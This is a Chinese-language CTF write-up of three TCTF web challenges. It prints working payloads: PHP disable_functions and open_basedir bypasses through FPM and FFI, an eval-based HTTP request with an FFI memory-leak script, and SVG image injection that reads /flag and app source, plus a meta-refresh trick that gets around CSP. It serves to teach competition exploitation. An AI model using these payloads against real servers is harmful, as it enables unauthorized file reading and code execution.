To begin with
今年 TCTF Web 题目比原来要多,但还是那么强(做不出来
easyphp
这道题被非预期了,正确解法也是在看到一叶飘零的分享才知道。
源码直接给了 shell,但是禁用了很多函数。
用 $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');};
列一下目录可以看到 flag.h
和 flag.so
。
尝试 bypass df,发现常用的方法都不能打。但是题目是 fpm,仔细看一下环境是自己安装的 ubuntu php,可能没在 /run/php/php7.4-fpm.sock
,试了几个位置后,在 /run/php-fpm.sock
可以打 fpm 绕过 open_basedir
,目的就是读 flag.h,或者 so。
然而由于环境是 supervisor 起的,可能有的队伍打完 open_basedir
就被改为 /
了,直接上车读了 so 拿到了 flag。。
noeasyphp
题目改成 apache handler,没办法非预期了,而且禁用了一堆函数。
Directive | Local Value | Master Value |
---|---|---|
disable_classes | CURLFile,PDO,finfo,SQLite3,SoapClient,SoapServer,ZipArchive,Imagick,SNMP,DirectoryIterator,SplFileInfo,Reflection,ReflectionClass,Directory | CURLFile,PDO,finfo,SQLite3,SoapClient,SoapServer,ZipArchive,Imagick,SNMP,DirectoryIterator,SplFileInfo,Reflection,ReflectionClass,Directory |
disable_functions | chdir,imagecreatefromgd2part,fclose,file_put_contents,imagecreatefromgd2,sqlite_popen,fwrite,chgrp,xml_parser_create_ns,ini_get,pcntl_wifexited,openlog,linkinfo,apache_child_terminate,copy,zip_open,socket_bind,proc_get_status,stream_socket_accept,pcntl_get_last_error,pcntl_wtermsig,parse_ini_file,shell_exec,apache_get_modules,readdir,sqlite_open,syslog,pcntl_strerror,imap_open,error_log,passthru,fopen,pcntl_wexitstatus,dir,pcntl_wifstopped,ignore_user_abort,pcntl_wait,link,xml_parse,pcntl_getpriority,ini_set,imagecreatefromxpm,imagecreatefromwbmp,pcntl_wifsignaled,pcntl_sigwaitinfo,curl_init,socket_create,rename,pcntl_signal_get_handler,apache_setenv,sleep,ini_get_all,parse_ini_string,realpath,apache_reset_timeout,curl_exec,pcntl_signal_dispatch,putenv,ftp_exec,pcntl_exec,imagecreatetruecolor,get_cfg_var,dl,stream_socket_server,popen,pcntl_waitpid,chown,ini_restore,ini_alter,pcntl_signal,glob,pcntl_sigtimedwait,zend_version,imagecreatefrompng,set_time_limit,pcntl_fork,mb_send_mail,system,pcntl_setpriority,pcntl_async_signals,imap_mail,pfsockopen,imagecreatefromwebp,pcntl_alarm,pcntl_wstopsig,exec,virtual,ftp_connect,stream_socket_client,fsockopen,imagecreatefromstring,apache_get_version,readlink,pcntl_wifcontinued,xml_parser_create,imagecreatefromxbm,proc_open,pcntl_sigprocmask,curl_multi_exec,mail,chmod,apache_getenv,chroot,bindtextdomain,ld,symlink | chdir,imagecreatefromgd2part,fclose,file_put_contents,imagecreatefromgd2,sqlite_popen,fwrite,chgrp,xml_parser_create_ns,ini_get,pcntl_wifexited,openlog,linkinfo,apache_child_terminate,copy,zip_open,socket_bind,proc_get_status,stream_socket_accept,pcntl_get_last_error,pcntl_wtermsig,parse_ini_file,shell_exec,apache_get_modules,readdir,sqlite_open,syslog,pcntl_strerror,imap_open,error_log,passthru,fopen,pcntl_wexitstatus,dir,pcntl_wifstopped,ignore_user_abort,pcntl_wait,link,xml_parse,pcntl_getpriority,ini_set,imagecreatefromxpm,imagecreatefromwbmp,pcntl_wifsignaled,pcntl_sigwaitinfo,curl_init,socket_create,rename,pcntl_signal_get_handler,apache_setenv,sleep,ini_get_all,parse_ini_string,realpath,apache_reset_timeout,curl_exec,pcntl_signal_dispatch,putenv,ftp_exec,pcntl_exec,imagecreatetruecolor,get_cfg_var,dl,stream_socket_server,popen,pcntl_waitpid,chown,ini_restore,ini_alter,pcntl_signal,glob,pcntl_sigtimedwait,zend_version,imagecreatefrompng,set_time_limit,pcntl_fork,mb_send_mail,system,pcntl_setpriority,pcntl_async_signals,imap_mail,pfsockopen,imagecreatefromwebp,pcntl_alarm,pcntl_wstopsig,exec,virtual,ftp_connect,stream_socket_client,fsockopen,imagecreatefromstring,apache_get_version,readlink,pcntl_wifcontinued,xml_parser_create,imagecreatefromxbm,proc_open,pcntl_sigprocmask,curl_multi_exec,mail,chmod,apache_getenv,chroot,bindtextdomain,ld,symlink |
FFI 可以加载定义的 c 函数,从而绕过 df,但是这里禁用了 cdef 的用法,考虑加载 flag.h 来执行命令,但是我们不知道定义的函数名,需要通过其他方法 leak 出来类似如下的内容:
#define FFI_LIB "/flag.so"
#define FFI_SCOPE "flag"
char* flag_fUn3t1on_fFi();"
贴一下大佬的 payload 吧,实测的时候稍微改了下,向前多移动了一些
POST /?rh=eval($_POST[0]); HTTP/1.1
Host: pwnable.org:19260
User-Agent: Mozilla
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1047
0=try {
$ffi=FFI::load("/flag.h");
$a = $ffi->new("char[8]", false);
$a[0] = 'f';
$a[1] = 'l';
$a[2] = 'a';
$a[3] = 'g';
$a[4] = 'f';
$a[5] = 'l';
$a[6] = 'a';
$a[7] = 'g';
$b = $ffi->new("char[8]", false);
$b[0] = 'f';
$b[1] = 'l';
$b[2] = 'a';
$b[3] = 'g';
$newa = $ffi->cast("void*", $a);
var_dump($newa);
$newb = $ffi->cast("void*", $b);
var_dump($newb);
$addr_of_a = FFI::new("unsigned long long");
FFI::memcpy($addr_of_a, FFI::addr($newa), 8);
var_dump($addr_of_a);
$leak = FFI::new(FFI::arrayType($ffi->type('char'), [102400]), false);
FFI::memcpy($leak, $newa-0x37000, 102400);
$tmp = FFI::string($leak,102400);
var_dump($tmp);
//var_dump($leak);
//$leak[0] = 0xdeadbeef;
//$leak[1] = 0x61616161;
//var_dump($a);
//FFI::memcpy($newa-0x8, $leak, 128*8);
//var_dump($a);
//var_dump(777);
} catch (FFI\Exception $ex) {
echo $ex->getMessage(), PHP_EOL;
}
可以在响应中拿到
然后读一下 flag
$ffi=FFI::load("/flag.h");
$a = FFI::string($ffi->flag_wAt3_uP_apA3H1());
var_dump($a);
payload 来自:https://www.4hou.com/posts/p7BQ
Wechat Generator
页面可以生成聊天记录,分别有 preview 和 share 的功能
在 share 中,有
<h2>Your friend shared this screenshot to you:</h2>
<div class="sharediv">
<img class="shareimg" src="/image/yxnXsv/png" id="preview"/>
</div>
对 png 进行修改发现会提示不支持的扩展,{"error": "Convert exception: u'bpg' is unsupported format"}
,猜测可能是个类似 imagick 的转换。
使用 htm 可以转换可以得到如下内容
<g transform="translate(273 572)">
<text font-family="SimHei,SimHei" font-size="72">Me too!!!</text><image x="360" y="-60" height="100" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="http://pwnable.org:5000/static/emoji/smile.png" /><text x="460" font-family="SimHei,SimHei" font-size="72"></text>
</g>
发现我们输入的表情出现在 smile
位置,或许可以尝试注入标签。
闭合后输入 "><image src=''>
发现 src 被过滤了,双写可以绕过,但是好像没啥用,CSP 限制了 js 的 inline。
有大佬分享过,转换 svg 到其他文件可以 SSRF,这里使用 [{"type":0,"message":"Love you!"},{"type":1,"message":"Me too!!![smile\"/><image xlink:href=\"text:/flag\" x=\"0\" y=\"0\" height=\"1000px\" width=\"1000px\"/>]"}]
读文件,可以读到 goodjob 的提示(emmm。
尝试读源码找不到位置,cmdline 只有 python 信息,从 proc/self/cwd/app.py 读到了源码
有一个隐蔽的路由,http://pwnable.org:5000/SUp3r_S3cret_URL/0Nly_4dM1n_Kn0ws
需要我们提交 alert(1),由于 CSP 限制 Content-Security-Policy: img-src * data:; default-src 'self'; style-src 'self' 'unsafe-inline'; connect-src 'self'; object-src 'none'; base-uri 'self'
,我们考虑使用 meta 跳转。
提交 [{"type":0,"message":"Love you!"},{"type":1,"message":"Me too!!![smile\"/><memetata http-equiv=\"refresh\" content=\"0;url=http://x/x.php\">]"}]
写入 <script>alert(1)</script>
,转换为 htm 提交地址即可。
(大师傅们太厉害了,复现的时候都感觉想不到想不到
ref:
https://www.4hou.com/posts/p7BQ
https://mp.weixin.qq.com/s/rMh-hABCdGpYpGqtFFiKOA